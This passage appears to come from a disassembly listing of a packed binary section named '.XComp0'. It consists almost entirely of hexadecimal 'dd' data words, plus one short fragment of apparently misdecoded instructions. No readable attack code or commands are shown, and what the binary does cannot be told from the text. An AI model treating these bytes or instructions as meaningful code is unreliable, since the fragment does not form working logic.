3EFD5E80h, 0AD1F5AA5h, 0ED80C811h, 6EC06417h dd 0A9D4BCFAh, 459680F0h, 15413B6Ah, 76267505h, 0E881C446h dd 0C3126333h, 50401C7Eh, 32886Dh, 0F3B978BFh, 0E3D76669h dd 0E41E5600h, 7D427CA7h, 9CA158B1h, 4B55910h, 61339531h dd 7F8074E8h, 34198902h, 4C712B07h, 7E500E8Eh, 0F0CFEBDh dd 0E323B2C6h, 0C2F0266Ch, 0D811BF84h, 0AF1BDCC9h, 2E0A6B00h dd 0C733B01h, 6C4600E0h, 0AD2FDB0Fh, 42171F66h, 0F0C871CEh dd 0D690004Fh, 4438606Ah, 961E89ECh, 3E1CD508h, 0D8250Bh dd 0D3CC37CFh, 992926C7h, 0A2F0454Ch, 36A780E4h, 5D2E0h dd 0DB5FCB84h, 0F56B7C5Bh, 3417C116h, 0F41AAA01h, 492F8DB4h dd 0DCE2EBECh, 3FE4F1h, 34EBA0Eh, 0F7C296h, 0E9F2F555h dd 0FB9DA5Fh, 0B8517A00h dd 2B37C152h, 0A940077h, 9B21CEF7h, 1D060B1Ch, 8462A406h dd 70130028h, 0AAB2DF47h, 2000E311h, 0E109E73Bh, 0FC67DE8h dd 2C8BFEBBh, 8459FF2Ch, 0C19DC1Dh, 63E211F0h, 0A7A20092h dd 79944D78h, 28C170E6h, 81D39751h, 0B9D6AB10h, 0D42D18C1h dd 40E210C6h, 3B8E5EF1h, 5A006804h, 727ACC8Fh, 5069E70h dd 4C0F4F0Eh, 1FF73841h, 10F6988Eh, 0E90B1740h, 68C0559Bh dd 0D80C01C4h, 8D640077h, 5A81C2B9h, 0F300D3F2h, 106C71E2h dd 60D15180h, 1543F961h, 8A0022C1h, 275D0F5h, 4FF1E61Ch dd 3E48A80Bh, 0B30F00D6h, 1D6BFA67h, 0F4030C19h, 4008CC49h dd 0F2B4C300h, 87BBB2A9h, 617E1F99h, 1F490196h, 0E4C37680h dd 0CD001A30h, 16410184h, 60D08B03h, 0C8054015h, 86E283A3h dd 2088FA14h, 2B2230h, 0FC1B1FADh, 0C318FF9Dh, 821C7800h dd 8506C2A0h, 424D0C30h, 0FC51CB8Ah, 0A78C5CC0h, 14C2E491h dd 0BF41C32Ah, 12E2B500h, 8BE3691Ah, 5531CF60h, 0E97962Bh dd 0B04B8807h, 13C19120h, 846CCAA1h, 618CB080h, 678F9911h dd 954E836h, 81A61500h, 0E1C0E2BDh, 8C8818D0h, 4D582914h dd 6F001679h, 0F6D44579h, 0C60F20h, 1A8714EEh, 9AE89F1Ch dd 0D8D5A306h, 1C68327Bh, 7CCAA0F4h, 0EE911106h, 2C3080F3h dd 468F89ECh, 90DFE833h, 789702Fh, 5F2321D0h, 34E4306Ch dd 130A4744h, 0D01ACEF3h, 68E10049h, 0C3F585CCh, 1894ED49h dd 2C3A210Ah, 980CC5Fh, 0E9584D19h, 0BD9500E6h, 0F1A439C3h dd 4A0081E8h, 9946098Ah, 18941511h, 39592C1Dh, 570021BDh dd 20D8E064h, 0EA186Ch, 61C31ADAh, 365E325h, 6D949100h dd 13D11638h, 4B8106AFh, 894F11B1h, 803FE4F8h, 0ECE30AA1h dd 0B61850E9h, 8814C110h, 0DA07BD9Bh, 12D1376Bh, 6FFAE0B0h dd 19F1C0A5h, 4DED6901h, 9B207050h, 61F75CC0h, 0C917E13h dd 114A072Fh, 9B00A921h, 0D64C3742h, 4893A86Eh, 5A020697h dd 31C213FFh, 1D00CC54h, 0BB7BC4FAh, 1E350A7Dh, 80D0F932h dd 2CA52D6Ah, 9F1FB474h, 5EC0156Eh, 2B83C504h, 7D0906A9h dd 31CC3341h, 4E027EFCh, 0A0C4149Ch, 64626Ch, 0C573E8A8h dd 3BD0C4CDh, 901F0312h, 24397CEFh, 8C143986h, 0FEC12849h dd 23836500h, 212E76FBh, 57FC58h, 0FF5E3322h, 6C9B20F0h dd 5832C531h, 94111517h, 880415F5h, 0DF031902h, 9B886432h dd 9A3AE77Ah, 1F390062h, 1DBA79B9h, 0A2CC0FDBh, 0D5C0A331h dd 5D9511A0h, 7249E960h, 4A743A9h, 7ECD3390h, 0E03897EFh dd 0E1ACC8C2h, 8938A264h, 81081E04h, 24622C20h, 0A97C9124h dd 0E2EBC100h, 1399A3D1h, 25B07E7h, 97511BC7h, 0ED5EF0B2h dd 0FE670F4Ch, 0C97C33C0h, 0E8A60F9Bh, 0C9207D96h, 0A387C5A1h dd 0B7B8A000h, 58E28B1Eh, 0D59B00AFh, 17CA2C14h, 88A0CC09h dd 0E4F1927Fh, 3224D31Dh, 6F804806h, 0A1ADAF20h, 0BB040CFFh dd 0E48EE795h, 0CA497305h, 0C82080FAh, 0C0FF30A0h, 0AA21A89h dd 9FA0995Fh, 45003E0Ch, 0D6B1DCF7h, 0F6E41369h, 0EC88C0B0h dd 0B217CDC0h, 0C21400E7h, 21180034h, 73E3B531h, 0FA26CB2Dh dd 6C80BC87h, 6B294D05h, 593803FCh, 232F90D4h, 0F09E89D1h dd 4000B175h, 0C791EBEFh, 60DBF718h, 0A7053098h, 9D744AADh dd 760F6A0Fh, 0E2E1009Eh, 0C18DCAh, 0D6616D64h, 8B63773Eh dd 2B051D03h, 1C9AE44Dh, 4BF539h, 0F11B5391h, 0B8005AE2h dd 9F482096h, 3A75EBh, 76B3A02Dh, 2F68CAD9h, 0E6C6BE0Ch dd 3C6940AAh, 6EB7BF07h, 90A43789h, 2D017971h, 60961401h dd 0A525CACCh, 180A3891h, 3D8198E4h, 0C09B00D3h, 8250BDEEh dd 0E300D2F2h, 96862117h, 0CA7EC7h, 8CD1B8Eh, 0ACEAF143h dd 0B18238C6h, 101A00F9h, 0A3F3B7A9h, 0FC00D0B3h, 30430B80h dd 2EE6EAA0h, 0EBE71F2h, 0A9B8C1BEh, 0CD0D0A3Dh, 89AB1D43h dd 1FED9C60h, 0D9217B64h, 0D0B2289Ch, 0F3785125h, 0CBBEA106h dd 44C1A8B5h, 733DBDA2h, 0B8F8F40h, 77D4601Ch, 30745B8h dd 850CDF9Bh, 998C15Bh, 0A4A1AC2Eh, 0F62A0177h, 4952D098h dd 4392E07h, 0F82B0032h, 0B02D0B0Ah, 7B97130h, 0CC713A3Fh dd 0F4AC412Ch, 0ADF89C4Ch, 0CA24C600h, 2B2206h, 5DEBAF7h dd 6BEAA82Dh, 80D2B8A1h, 0C50BB5E1h, 0A3A43643h, 0D5CAF838h dd 159690E2h, 0A8AAFEBEh, 90C9CD00h, 4B59A95Dh, 90867C30h dd 150AE73h, 4CAD9B2Fh, 0BB8F29BEh, 0C2C91431h, 8097888Ch dd 3F206413h, 310FCE89h, 0C0DDC037h, 0B928F3Ah, 0DF5105ECh dd 16EE18A2h, 48A91BC4h, 1DD0409Dh, 4429C47Ah, 43D9E507h dd 0FCCA9137h, 648CDDE0h, 0EC96003Ah, 0ED224DFAh, 18001661h dd 0AA0C9CFh, 6F3CF43Bh, 8010F8CCh, 65EACD9Eh, 0EC7C0092h dd 0E6BFCC7Fh, 430DAC6Fh, 28A3E3F0h, 698021F9h, 43BAEADh dd 7801B52Dh, 0AB32A50h, 0C3CC9C20h, 43A01D73h, 2430E8F2h dd 8020D6F6h, 91CA02B6h, 2307FCA8h, 8950248Fh, 78E0BB97h dd 6125C53h, 0E387D6B5h, 3F00419Fh, 4E892DD3h, 1C26B78Fh dd 0FD34D8A8h, 6DA1CC8Ah, 0EE2A8090h, 0F8BF83FDh, 0A0C0B5E8h dd 0AFF379Ch, 5EC9142Bh, 7DD4BAh, 68FA19B2h, 0D3C0BECFh dd 0C360AA49h, 0E2D96FD8h, 41A408Bh, 712A0238h, 45C4A6D2h dd 11B10C41h, 885043F4h, 717230Dh, 0A57A11A2h, 65CA4329h dd 145C97F0h, 0C4A1FE08h, 0A90500A8h, 0B875D1D2h, 0E91FB7F8h dd 6F001DF6h, 8CEE0472h, 37F53007h, 2C75BD59h, 0E8644105h dd 6CB88410h, 0BCC9E700h, 7A70B0E2h, 92CCCF03h, 6753FDACh dd 486AD899h, 5682B505h, 2C5810h, 83A3842h, 96A2F3Fh, 5F909C63h dd 8850E80Eh, 0FAAC809Bh, 0B39E4494h, 60033Ch, 9256AF52h dd 0B84FEC5Dh, 69B23087h, 297B3D71h, 1B694960h, 31F50A07h dd 2A109B8Ch, 0E6EC48E5h, 161EA471h, 94803598h, 20E1C3C4h dd 41F537D3h, 537CA041h, 93F0DF90h, 3C743D01h, 0B3869709h dd 4C02DC55h, 29CD523h, 0E4643A43h, 80E08248h, 76E4033Ch dd 5C360205h, 72B2083Bh, 95C45840h, 0A8D7A724h, 6F3DA911h dd 827CB786h, 5D0041ABh, 7D323C91h, 9DA99B1h, 51B892FAh dd 89F32886h, 4FB06901h, 0AE21F044h, 84549994h, 0ED384B9Eh dd 7E451A82h, 7E2D5C87h, 68A07C91h, 0AB245928h, 0F118B89Bh dd 7F2AD9h, 0B91E5D4h, 83FCC41h, 44F47318h, 0A24F41h, 0C59E523Eh dd 835CAA93h, 8CE17502h, 90287B30h, 0A8BAA190h, 0FF3CF0h dd 7DAF223h, 549768ACh, 0E7EF7803h, 0F81B190Dh, 1246CF22h dd 22D5FABEh, 0F498BD2Ch, 0CF60F509h, 1A713E59h, 482D7ED0h dd 9D3D028Dh, 41700600h, 0E5312EB9h, 0C22F407h, 7E538CC0h dd 84AEA29Ch, 453A2BCh, 409BCC9Ch, 0B66DB73Ch, 0A1C82A92h dd 49572298h, 200DB500h, 383D2A90h, 117200BEh, 3C1FD7D0h dd 3AF87139h, 0A1AA0D0Ch, 0C0F1ACh, 0EF23E6FCh, 0D8507A97h dd 535F5B00h, 0C37B35AFh, 0E8805168h, 508176FBh, 2CCD7C26h dd 524E1B7h, 81B96704h, 747A90E0h, 0F181F700h, 0B8FD6217h dd 94AA9893h, 99E423h, 331289E9h, 6CCEC3F9h, 0C8FEFC03h dd 90D96002h, 0C25E496h, 0ABD5A1FBh, 0F688A339h, 0A83A047Dh dd 0BE10CBB9h, 0DEA1DA01h, 8C491664h, 0D781CC01h, 4059819Fh dd 4264DD36h, 0CC0069F3h, 2C0C04B7h, 987A38B0h, 0A6DB0AF4h dd 80E4D0F4h, 17D4D840h, 0BE0031DEh, 9E2F9AC3h, 16D3604h dd 0BCAC61F4h, 373FE482h, 976E0080h, 0FC306CFAh, 0CE7B1642h dd 3FAC00FBh, 0C77B1DAh, 0D57DC505h, 0C840B8A1h, 0E564026Dh dd 13BC023Eh, 0BC2EB8Dh, 707214E1h, 0E0886A4Ch, 4443172Bh dd 0A04023Dh, 0C0875139h, 8CC6C4F8h, 810E5368h, 388CF3Ah dd 0B047DDB4h, 0F507E57Ah, 1FFDE0EDh, 0E83D49FCh, 0AAE28DCh dd 840429Ch, 8FBF82E0h, 6040B427h, 2EF9AF43h, 4C853600h dd 39E792CBh, 38F43063h, 67664739h, 0B78BA803h, 0E8FB5BEDh dd 0C2456E27h, 0E2B86468h, 0D1968063h, 0A9458C98h, 4257C64h dd 0F1443E1Ah, 2D7240E6h, 247B2CEDh, 0A1889120h, 0FAF7839Ch dd 0B780B172h, 473F13D6h, 1C2C03A5h, 1A5AAF0Dh, 0A14D2138h dd 0CC9F9D05h, 850005A8h, 5C8A642Ah, 3129A9E2h, 7C21C3E4h dd 124222Bh, 971F3C2Ah, 58503744h, 0C4698EF4h, 457E3659h dd 9C40D682h, 931FC10Eh, 9BA902FCh, 8C2023FEh, 0A645B068h dd 1870788h, 0C5DA3BF6h, 80A1E41Ch, 2C66C119h, 63CEFAh dd 7D5A7479h, 1EEE39B4h, 0AAE290B0h, 24AD0A0Ch, 49F471EFh dd 2005CD9h, 2A36E647h, 9178DF6Fh, 0E2FFE900h, 6AB408FAh dd 6238259Eh, 0DC611411h, 5B0A3678h, 5493FEB3h, 9DA03988h dd 0DA697082h, 2E09EAF7h, 2036A271h, 0C5D5B4F4h, 82F526B7h dd 74C64314h, 0F713E7D8h, 0F08F4502h, 8991EB43h, 5E98187Ch dd 40830362h, 128B642Ch, 0E7664498h, 0CFBA500h, 0A7D9B73h dd 39B315CDh, 8B2A80E5h, 0EC0E3F60h, 0A9400381h, 22C4BEEEh dd 0C0690998h, 9928047Fh, 892A7C44h, 986358h, 88F20B10h dd 7EC72398h, 0BE252E11h, 0FE9E5014h, 53CC7300h, 98ED021Ch dd 0CFC30C2Ch, 6A4972A1h, 9F584C28h, 0BDA0D00Bh, 82602FD8h dd 4ACD207Ch, 80C660h, 8E030252h, 2AD57673h, 0DD010F72h dd 9E0A9456h, 98299282h, 0B211F500h, 0C82ADB4Dh, 68137007h dd 1050817Fh, 0B9673F3h, 1D6775B4h, 32419898h, 4E708F01h dd 9485C7CDh, 277BAFCh, 0DA27AC6Bh, 0BCC01A2Ch, 0AC919CDBh dd 0D0F68A41h, 0C34970h, 11B32E0Fh, 0ACE51F43h, 0A2456090h dd 8A40EC30h, 0CD3F9482h, 0B8F270A3h, 412287C0h, 0E6431D00h dd 15A1CC71h, 0C00896ABh, 0FEF30965h, 0CFEEFE2h, 0FC869A05h dd 0C980C0A8h, 2A50563Ch, 40A87A68h, 0E4A53569h, 514C8800h dd 0C2A0E774h, 0CD63B8E8h, 0D5780860h, 0FCAC7D18h, 0A1CCA771h dd 68607380h, 6F9CB8AAh, 819D5147h, 0F29CE48h, 0B3686033h dd 1D8B053Fh, 0B1A221ACh, 0ED5C8038h, 69743B43h, 0E500D7F6h dd 0B6C5A82Eh, 48877CEBh, 2C240085h, 0EF434258h, 8A0BB0E6h dd 94C592B2h, 1D8F0FD4h, 0F7203713h, 0D601B012h, 678653Ah dd 0A325BE2Ah, 0B8773F29h, 0C22ED53Dh, 0A074018h, 93300C2Bh dd 54F559A0h, 6D2000C9h, 0AFE54298h, 3B00889Ah, 0B0D867Bh dd 0E43CDD2h, 0A42D79AEh, 0C4D00AE4h, 0CE788C98h, 0B00B2FEh dd 0CBF86D78h, 2E2AA2Ch, 3BDD5F6Eh, 0B8C9D568h, 37CC10BCh dd 3BB5F8A4h, 8780777Dh, 90D8AA9Ah, 0F500C202h, 0AA9B7BFh dd 92C3A1F1h, 0BB720F18h, 0B1C0B203h, 5E39014Ch, 0B52AD90Ah dd 0FB40DC83h, 4C5A91C9h, 945804F8h, 15827C44h, 0B44B3E7Ch dd 300A9313h, 8108725Ch, 0B87CF400h, 0C1D9A22Eh, 1F5C33E9h dd 0F8E17849h, 7FC2282h, 817ABB09h, 2DE27760h, 9F2706Ah dd 0E6A5918Dh, 0AA1C10E0h, 24948B88h, 8184A9B2h, 0C0BE70F3h dd 1C99876Dh, 40FEF863h, 0B515CCA5h, 1CCA5820h, 0B3119321h dd 0C8856900h, 805559AFh, 66890700h, 3E218196h, 488B0F32h dd 0C542F0CAh, 0D8721D43h, 18297C27h, 1CCE0A48h, 9EE592CAh dd 0B2810CDCh, 9F005221h, 751482A4h, 1DFEEDC4h, 815334DDh dd 74C2AACBh, 0C6B83032h, 1ACA252h, 0B8CC2A83h, 0C60AB05h dd 3C9F54EBh, 0C4E58B45h, 0DAF08CFCh, 0BAAF88h, 1354A8CBh dd 4627ABA4h, 81D2D338h, 44309233h, 3980A5EBh, 392C7B2Ah dd 290A81FFh, 6CC5E6F6h, 0B0D0A113h, 0F4E5CED4h, 0B37120h dd 0FB0799BFh, 96BBD171h, 5067863Fh, 43442C50h, 791C012Ah dd 0A3878EEFh, 0BDCD4CCh, 3167F300h, 817D3ECEh, 7411B020h dd 0AE901D0Fh, 0F0A5A704h, 1EB48AACh, 75C08A3Ah, 2A4F59DBh dd 35570073h, 94E4FEE9h, 0E7B0A45h, 204474FFh, 60A15244h dd 89A2C9BFh, 535C80F4h, 70F20062h, 0F655B0CEh, 0C4CB01C5h dd 7F1E813Eh, 47F5F51Bh, 16A114B0h, 0EFD8D030h, 0CB9F00D0h dd 0D36CDE5Eh, 3A01DAC8h, 0A5C5550h, 730C487h, 24C4C3DBh dd 381346E6h, 0D427C5BEh, 0B027926Fh, 213085A9h, 3E430842h dd 292F20A5h, 0EE310ADAh, 8324FECCh, 11FC29A4h, 72933FB6h dd 0FF264E00h, 44C11F15h, 0E580C8Eh, 2131D483h, 0CC20D860h dd 326BF282h, 97A9931Eh, 0C421A204h, 623D12C3h, 20AC0058h dd 15D2A6Bh, 0CBAC2D8Eh, 62BDBE72h, 0FB42DFCh, 0BF28A174h dd 198785C6h, 0A096293Dh, 2A809EC2h, 0D97DE430h, 341CC18h dd 0A4E81B8Eh, 3BA8EED7h, 7811F697h, 0AC01C4A2h, 0AF0A2A46h dd 3C1060E6h, 8623A702h, 4EA073BAh, 213E438Ch, 0BEE7053Ah dd 2A6840CBh, 35BDF47Eh, 1D29DB09h, 0F1BB8270h, 8BF0690Dh dd 0F0802C2Ch, 602A739Bh, 0FC94AE00h, 0A0BFDE4Ch, 0F5C83002h dd 217B90F0h, 20708627h, 9A2B0194h, 0BF8EC81h, 0C4100CE0h dd 3E4C6C0Ah, 8C3092B2h, 0AB60B02Ah, 5B5905h, 0C9302234h dd 0C2CD6F5h, 0D04B4598h, 72CDF801h, 53D80411h, 8C320782h dd 2CBBE4AEh, 0C9805DC9h, 82F094A2h, 217C45B8h, 0B88445h dd 147D5073h, 53B7D5h, 4962B0F7h, 4D33BB82h, 9BBF9C00h dd 0C5881B89h, 42049C2Ah, 0B9409246h, 331439E1h, 0BCC08B9h dd 13AE27BEh, 203DC044h, 0F52C0CD2h, 85A1ABB3h, 91ACDA83h dd 2A1038D8h, 9900DFF4h, 850176E9h, 580AAAA3h, 0C09DF8F5h dd 0EC2C36E8h, 0EF4C30A8h, 819800AAh, 0F02A446Dh, 20A89045h dd 0F430490Bh, 6FC3942h, 0D54101B7h, 0CACDC086h, 30E3F625h dd 6988D095h, 226FF027h, 5A7E3140h, 0EB6020B7h, 94B4B3C5h dd 0F82E0740h, 9C3105FDh, 0E4AF086Eh, 0CA2EC504h, 0CB8470E4h dd 7CF22B7Ch, 0F0AC6D87h, 747A0A14h, 93735A00h, 0AA32D17Bh dd 0EC7C3E10h, 481978AFh, 3FE4176Ah, 0F0F194E5h, 204AA422h dd 16BB7800h, 0B661CE02h, 0A0CDDF67h, 6B90AB3Ch, 0D6B82Eh dd 69C07D84h, 0A7C1F33Bh, 6702107Bh, 264FAB49h, 40688DE0h dd 6C0F2479h, 1A60EA12h, 88FB0D33h, 2EE49440h, 1CF8C57Bh dd 0AD0BC170h, 7437724h, 44378BCEh, 4C562138h ; --------------------------------------------------------------------------- loc_544450: ; DATA XREF: .XComp0:off_45345Co adc bl, dh add byte ptr [edi], 0D1h adc eax, 0F0003046h pop edi retn 9CDEh ; --------------------------------------------------------------------------- dw 364Eh dd 338C1281h, 2A90C086h, 0BE4FFB20h, 0D0EDD430h, 8E2E3EC1h dd 0F1B9657Dh, 523C01E4h, 0F4298B6Fh, 900F4C06h, 8015C69Ah dd 0F0B5CCEAh, 49DA240Dh, 450F0860h, 65741025h, 0CD4105B2h dd 0E21FEF5Fh, 6BAE0530h, 0ECB22A8Bh, 4024274Bh, 4053D9DAh dd 0F4A6A200h, 28F1061Ah, 92D003BAh, 464B26ACh, 80D8694Ch dd 0C3851150h, 0A84D4B30h, 0B8AC0784h, 81907BA8h, 21B7F8h dd 6EB1A042h, 0AC9C2C07h, 0FCD82B2Ah, 0DA0708F0h, 3BE25E62h dd 4B0C305Bh, 5388009Eh, 0C99129FEh, 4C070540h, 0E03734A7h dd 0C4283AA2h, 467C88B8h, 20CD0B61h, 58C0212Bh, 0C800293Ch dd 0FB9CEA70h, 7B84FDC9h, 0BC31657h, 0AA5804E6h, 0EC0016A0h dd 389CDBCAh, 80F0BEA2h, 8D0233E5h, 0D2002C14h, 0CC501DB1h dd 323038AEh, 0D980DD65h, 102E77F6h, 0C0909314h, 0DB6CC249h dd 3A90002Ch, 0EB87AC10h, 0F101226Bh, 74C1F63Ch, 0C38CD76h dd 0BE25BB80h, 0E800EA71h, 93253F2h, 54AB8B55h, 28C12C73h dd 922FE3h, 2618FECCh, 0D703F93Eh, 33EC5809h, 8C511Bh dd 4CFF6EBBh, 641E297Dh, 2B0F9BA7h, 0E136A0D4h, 50424D8Bh dd 0F59992h, 81A8F12Ah, 0CBAF85B6h, 0A911C703h, 0F0671E7Bh dd 98351Dh, 885EBFA2h, 0CDDEEBF5h, 0D61F5770h, 26802318h dd 5DFA0581h, 689B0634h, 40A8E0A5h, 0BC828007h, 188CE11Ah dd 8159C108h, 0BC1DFC9Ch, 463F0318h, 0D209367h, 0AA5A2511h dd 0A297E028h, 60C517F1h, 40900C00h, 0C0AB18DAh, 0F7FC8C11h dd 1CF0BE38h, 726100B8h, 8AA2A818h, 0DE084180h, 775E44D6h dd 1641CE03h, 0A09AF128h, 740AADh, 0F8701898h, 0C9F452A0h dd 0B4DF1E03h, 0DB59A68h, 678281D1h, 0F1EC9E59h, 31C9D107h dd 769E5430h, 261500EDh, 0D0B860C6h, 9A02F83Eh, 0F79DD9A7h dd 5C64828Fh, 8083239Fh, 28D5103h, 0C885D47Eh, 6C023BEh dd 0FF9D198Eh, 0CC863989h, 222DC07h, 50D7AFD3h, 822F70D0h dd 140F00E7h, 0A918A177h, 0C9509B68h, 380A055Ch, 6080DC97h dd 0C515A00h, 0FA04D62h, 6C3588CAh, 0CFD16FE0h, 60002993h dd 4BDDA991h, 0A0BB8F0h, 5BAF9F40h, 59D318B0h, 0BD528319h dd 8E22B4h, 7CC916B0h, 1FE248F1h, 8022C43Fh, 40723713h dd 0A18A060h, 0F6A368AAh, 210E86E8h, 8F0A497Ah, 90AC8925h dd 16E99D85h, 200C8022h, 0DFC92070h, 0C1491300h, 0ECD996BEh dd 6A920065h, 0EA4C747Eh, 5D1867ADh, 2560930Eh, 0A91D64E4h dd 0D1EC4028h, 0F6EDDF2Eh, 80E0110h, 0DB519E09h, 6645D8D3h dd 89201130h, 31079AA8h, 28B1AB60h, 284014D3h, 81F2809Eh dd 8F7800FDh, 6B917FEEh, 7C919D68h, 75270E06h, 3F9B0139h dd 2576835Ah, 1E6C225Fh, 7868A28Ch, 0A380DE74h, 0B1480F3Eh dd 0B546819Bh, 36F21E0h, 8B466059h, 0A2E12h, 5FA0301Ah dd 0B1DE5BD3h, 0A90EE971h, 6C1BA328h, 469A2h, 54BD6570h dd 0D5982C1Ch, 0ECC7AC14h, 0A27987ECh, 3C1F89DCh, 1B8455D8h dd 0C8ED20A3h, 7F783E18h, 73BD3C1Fh, 18717707h, 0FBB69B20h dd 0FF69C09Dh, 0C3D53ABFh, 5DE78800h, 505AA558h, 3FBB1536h dd 6105A868h, 0D45F69Ch, 0D0D9097Ch, 6300F354h, 21982E6Dh dd 0AB7D831Fh, 0D60D90A0h, 59300007h, 0AFF81336h, 7600EB5Dh dd 626DDABh, 12A2E175h, 1E2FE692h, 306CACA8h, 699FEC99h dd 8645E005h, 0DD87AC33h, 0AC718D0h, 0A482003Dh, 9CC9A636h dd 0FB24B286h, 8865083h, 7A927A2h, 1CDD60Fh, 3F1470C1h dd 28B80E85h, 0F421A1C0h, 0C9A9976h, 698338ADh, 46004D19h dd 6ED4EFCDh, 0F25E57F0h, 7D110E90h db 2Eh, 0E2h, 2Dh byte_544843 db 86h ; DATA XREF: .XComp0:00453174o dd 5DF4E430h, 6583DF18h, 0FC78F539h, 5B760008h, 0EE93D93h dd 677A73C0h, 0EB34070Ah, 68427CE7h, 463C469Fh, 97C90125h dd 8D08DD02h, 8404088Ah, 707E0034h, 0D3A5270Bh, 6000EEEAh dd 184AD9B6h, 0A75FB67h, 0C2888CBh, 0C4978788h, 40A3C55Eh dd 5414A1ACh, 0D28B98Bh, 0C1268322h, 3901401Fh, 7E83EF95h dd 4F6B2C10h, 9DB1A600h, 319C718Ch, 0E6BB046Ah, 0C12B693Eh dd 2AB7060h, 284428h, 1B52FDC8h, 1F72D61Ah, 6F1CF5ECh dd 0E5845348h, 5C8CE2DDh, 0B58500D7h, 2A03EAFCh, 0E301F3Bh dd 93A8B92Ch, 206499F9h, 7E4290h, 0AE8EFB9Fh, 1D02BF5Ch dd 4DC3FAh, 9CF2299Ah, 61C56DF7h, 488C8425h, 0F29709FDh dd 0B4307863h, 210310B8h, 56A09603h, 9E0404CCh, 8C9BAAFDh dd 13767774h, 530B8D70h, 148A530h, 941A214Ch, 39ED451h dd 3E079062h, 27C02280h, 2684A0Eh, 0AB8FC792h, 3C087C11h dd 0A8F38228h, 9C8DCC99h, 0E3E221F4h, 0C6F3BF9Ah, 69910006h dd 0B55322D7h, 0E11C6E42h, 91406BD1h, 0CCFA8014h, 41620096h dd 9D2176D3h, 8D60BC3Fh, 0C8FD08F1h, 252A007Eh, 0DC0B2BDDh dd 77EE115Ch, 13A948A0h, 561890F8h, 89399EFBh, 83553AEDh dd 9A86FC80h, 3AC9E910h, 23A25F18h, 1E073A9h, 0D4D143DFh dd 0DC50A6D3h, 4500903Eh, 0B775EB5Ah, 6083645Bh, 257F08ABh dd 24B19F86h, 304C1B91h, 9007AB22h, 0E32C3F93h, 0A6FB6141h dd 5B531981h, 0E6D1DC6Fh, 89CD8C1h, 1563887Dh, 6FD57100h dd 85DAFCABh, 0FF820042h, 901CA186h, 0C45A868h, 1A0604Ch dd 0B85371FAh, 0C0BFA6B6h, 66EEF332h, 196DCA0Bh, 7C78980Ch dd 0AA1D00A7h, 6E1B8695h, 5700AD73h, 0DC3B76FDh, 292FB29Bh dd 1E4A30Bh, 0BE8253D8h, 0A6003446h, 0A0280544h, 7CDE6Ch dd 0DA0FDBD6h, 0E8D185ABh, 86A2BBA0h, 6EF0E898h, 8AE0C350h dd 0B214E09h, 0B8FC06C4h, 64510041h, 0B5CD5A74h, 0C800667Dh dd 76D93175h, 5E233A1Ch, 4C76C294h, 388AB48Eh, 82838CFCh dd 0D4008DA9h, 9523F310h, 0B17A973Dh, 0AE29274h, 0ADFC5A2h dd 609C1CFCh, 0B56F9223h, 0C3F56A00h, 0BDE26480h, 0AC85007Ah dd 7F17DE6Dh, 83E8E1B7h, 78882528h, 0ED680801h, 3EAB0AF6h dd 9E3CCC23h, 6488CC80h, 0AF3656BAh, 4A9FBC01h, 0EB7B8094h dd 6870AC42h, 0F65B3EA0h, 7E51139Bh, 7B04140Ah, 216AF612h dd 222A0EC8h, 3C8600C4h, 3FAF8A60h, 2A207280h, 0C402C7h dd 6325F462h, 0E70AC47Fh, 43A2F700h, 5918EBB5h, 0F2F8708Dh dd 0DB2CA370h, 2E5E849Dh, 67E40018h, 7860FBABh, 0FAE0B567h dd 0DFF19C80h, 183F614h, 0A1D63527h, 8E07C79Ah, 95E379h dd 6E6353B5h, 48740052h, 225EB0C4h, 801DB2B6h, 0A2A392h dd 0CE48FEE0h, 84F43408h, 0FA4A5204h, 10C8C7C4h, 78A83AEAh dd 0C0A44239h, 8D430020h, 0B323C17Fh, 0C83F55h, 502BD68Ch dd 3D0314B8h, 68C73D3h, 441FE22Dh, 0CCA248A4h, 3DDE2B80h dd 55F85711h, 90A76826h, 0C650102Eh, 40A34A7Fh, 7E5EFC6Ch dd 3F028B20h, 9A68E902h, 42EC64C0h, 26A21829h, 3A5CF669h dd 7283BE7Ch, 0A0C637DFh, 0C2C3112h, 211B1800h, 4C823E24h dd 0EB1FAA66h, 0E4A009A5h, 0FB226064h, 8C8690h, 0C0B36AE3h dd 0D14A7E2Dh, 0D52B5900h, 0A2966CBAh, 7131C091h, 0D4E3DF5Eh dd 0FE2D3E00h, 0AA1848C2h, 854F005Bh, 0EE79D901h, 9F26B59Ah dd 0D8B1E08Fh, 2608DEA4h, 0A19A10E9h, 0B8A74961h, 6412F97Fh dd 6D47E02Eh, 0B0463C48h, 2677712h, 4FA2ECAAh, 0FC402B81h dd 0F82629DDh, 0F7089421h, 805CA983h, 14A62FE0h, 277DD173h dd 3C8A2100h, 0BCEBF843h, 128F78ECh, 0DAE0A5A2h, 95550070h dd 98E4143Bh, 60D34985h, 3E9B8D05h, 5020C829h, 5D00D1E6h dd 0AD87555Fh, 60C6ACEBh, 0CF6FF9DFh, 4BB04BD3h, 0D0F69A04h dd 0B48112B9h, 786676D2h, 25A3E50Ch, 41016AC9h, 5A0F7398h dd 0CDF81837h, 48C6F29Eh, 185825B2h, 5DDBB880h, 0E6248A50h dd 2A026473h, 469D68C1h, 0C204344h, 0C88D88C7h, 802C94FBh dd 9B192E3Dh, 1D003231h, 0A7CBE095h, 0E2733C39h, 0F41504A0h dd 81A81134h, 1ABA654h, 4180A128h, 79277E2Eh, 0FB0002CDh dd 8B30ED13h, 0A6B0C5Ah, 95280E1Ch, 11DF0540h, 43DCC92Ah dd 0A9180410h, 0F351A528h, 25F6009Bh, 822C3133h, 53EE7764h dd 821A760h, 17B94F8Fh, 20A1680Bh, 98212C88h, 8318221Ch dd 0D7126170h, 0B0F373B6h, 0A21A18C3h, 0DAC731E9h, 0F2E439C0h dd 12041D4h, 106FA7FFh, 0C5DCFC56h, 4E8D393h, 7C20A28Dh dd 85B633E0h, 6CA1B290h, 0D295E17Fh, 0C65CE060h, 9E213C84h dd 0A846609Eh, 71E5E870h, 76A300B6h, 0F2062E2Dh, 80136AB0h dd 6420A279h, 3DADB6h, 0D6F8B443h, 0B7B85196h, 0B9A9C201h dd 0CC8986A4h, 0E82192E4h, 24A230B4h, 0C1B16939h, 7797F100h dd 2A3E6DA3h, 92861508h, 0E088CE7h, 93817A1Bh, 0FB9D4B89h dd 0A44C0439h, 0C73AD200h, 638D2615h, 9B0A7D00h, 0FD991E25h dd 2873025Ch, 72191B9Ch, 166358A0h, 0F5003B88h, 0F0D55D5Eh dd 14FBF939h, 88A38524h, 645A8C0h, 7318B0FCh, 6889C282h dd 90C4A4A9h, 1DE92250h, 12C471FDh, 94278CC4h, 8394D577h dd 179C88h, 